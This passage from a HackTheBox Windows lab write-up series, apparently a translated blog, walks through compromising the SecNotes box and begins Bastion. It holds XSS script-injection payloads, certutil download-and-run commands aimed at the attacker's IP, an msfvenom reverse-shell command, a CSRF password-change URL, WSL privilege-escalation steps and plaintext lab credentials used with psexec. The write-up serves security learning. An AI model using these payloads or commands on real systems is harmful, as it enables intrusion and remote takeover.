thing.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Testing showed that 32 characters are enough to overwrite it; uppercase and lowercase letters cover 52 positions, so this can be faster&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me several hours and was seriously impressive. I checked a writeup twice while I was stuck trying to get a shell, but both times it was because I hadn&amp;rsquo;t been careful enough and had missed something. I&amp;rsquo;ve done a lot of Linux boxes, so the more general techniques here actually felt manageable. I suspect it was rated Hard because it demands such a broad range of skills: XSS and SQL injection on the external-facing site, XSS+SSRF to get a shell, port forwarding for privilege escalation, writing a bash shell script, and something resembling a buffer overflow. Still, none of the techniques were fundamentally hard to understand. I just need to be more careful next time.&lt;/p&gt;&#10;&lt;h2 id="9secnotes"&gt;&lt;a href="#9secnotes" class="header-anchor"&gt;&lt;/a&gt;9.SecNotes&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;None of the three allows anonymous login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -H 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N -L //10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a stored XSS in new note.&lt;/p&gt;&#10;&lt;p&gt;Sure enough, just like the previous one, it had to be triggered through contact us.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And what I submitted here was:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt; document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;); &amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Clearly, it executed certutil&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;So the commands sent over would be executed.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;The target still requested the download, but it never executed. Clearly, the current directory was not writable.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;I kept trying to chain commands but could never get them to execute. Then I realized this was not command execution at all: it automatically clicked any link I submitted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I submitted a link, it would be requested. I wasn&amp;rsquo;t sure whether it saved the file locally, and even if it did, I had no idea where. Since this was a php site, I also submitted an ftshell php file, but no shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If this really was XSS, I could still exfiltrate a few things, but I couldn&amp;rsquo;t figure out exactly how it worked. Was php making the request, or was it being launched through php functions such as system or eval?&lt;/p&gt;&#10;&lt;p&gt;After investigating for ages, it turned out to be none of those. If the submitted content contained multiple urls, it visited them separately. If it contained characters such as &amp;lsquo;)$, it would not visit them. At the same time, I found that:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.97/change_pass.php?password=password1&amp;amp;confirm_password=password1&amp;amp;submit=submit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This worked successfully, which made the path forward obvious: send it this URL and have it change the password. We already had the username too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The middle section was probably port knocking, while the section below contained the smb credentials and shared folder.&lt;/p&gt;&#10;&lt;p&gt;I started with the simpler option below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded both files. They seemed to point to port 8808, so I checked whether the image contained any steganography, but found nothing. Oddly, when I generated an md5 for the png and searched google, I couldn&amp;rsquo;t find a match. That suggested the image might not be a default asset, but some kind of screenshot instead.&lt;/p&gt;&#10;&lt;p&gt;After thinking about it for a while, I felt I was heading in the wrong direction again. Maybe this was simply the site running on port 8808, and iisstart was the default iis landing page. Time to test it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. I wasn&amp;rsquo;t sure what the backend was written in. While running strings on the image, I saw .net inside it, so the backend might have been written in c#. I decided to try asp first, then php if that failed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x&amp;gt; ./back.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, my uploaded back.asp returned a 404 even though it was right there in the directory. At first I thought I had misunderstood and this wasn&amp;rsquo;t the web directory. Then I uploaded a 1.txt file and found that it was still accessible. So was the extension being blocked here? Maybe I needed a bypass.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried several extensions with no luck at all, so I started trying php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it parsed successfully. My reverse shell was for linux, though, so I just needed to change that.&lt;/p&gt;&#10;&lt;p&gt;A one-liner:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It periodically cleared the smb share. I just had to put the shell there, execute it through the webshell, and it would be OK.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This shell couldn&amp;rsquo;t even run systeminfo, so I decided to inspect the website first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server with default setting (user &amp;#39;root&amp;#39; with no password) */&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_SERVER&amp;#39;, &amp;#39;localhost&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;q8N#9Eos%JinE57tke72&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;root&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;qwer1234QWER!@#$&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_NAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Database credentials. I might need to set up a tunnel and expose mysql through it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -h 127.0.0.1 -P 6000 -u secnotes -p&amp;#39;q8N#9Eos%JinE57tke72&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, I connected successfully. Unfortunately, root couldn&amp;rsquo;t connect, and there was nothing useful in the database.&lt;/p&gt;&#10;&lt;p&gt;I kept digging through the directories. Oddly, when I found the flag, I also noticed a bash.lnk on the Desktop pointing to bash.exe under system. That was strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t throw an error either, which meant it was available and present in the environment variables. I tried plenty of commands, but none would execute. Then I found an ubuntu.zip archive in the root directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found Ubuntu inside Distros, so I started searching the directory structure to figure out what it was.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxBlockMap.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxManifest.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxMetadata&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxSignature.p7x&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Assets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;images&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install.tar.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;resources.pri&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ubuntu.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Content_Types].xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This suggested it was a subsystem. I started looking for ways to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./ubuntun1604.exe config --default-user root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl python -c &amp;#39;BIND_OR_REVERSE_SHELL_PYTHON_CODE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash.exe may also be located at C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Alternatively, explore the WSL filesystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the first approach, I couldn&amp;rsquo;t find wsl anywhere, and running ./ubuntun.exe config &amp;ndash;default-user root just hung.&lt;/p&gt;&#10;&lt;p&gt;The second approach used bash.exe.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, it did absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;With the third approach, I could locate the actual directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I did was look for root&amp;rsquo;s history. After all, I had worked on plenty of linux boxes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The smb connection gave me the credentials, so this was easy: I just had to connect.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/smbexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, this one felt pretty manageable. The part I was less comfortable with was windows privilege escalation.&lt;/p&gt;&#10;&lt;h2 id="10bastion"&gt;&lt;a href="#10bastion" class="header-anchor"&gt;&lt;/a&gt;10.Bastion&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first glance, if SMB had nothing to offer, I was going to be completely stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Luckily, anonymous access was enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N //10.10.10.134/Backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded everything, but one 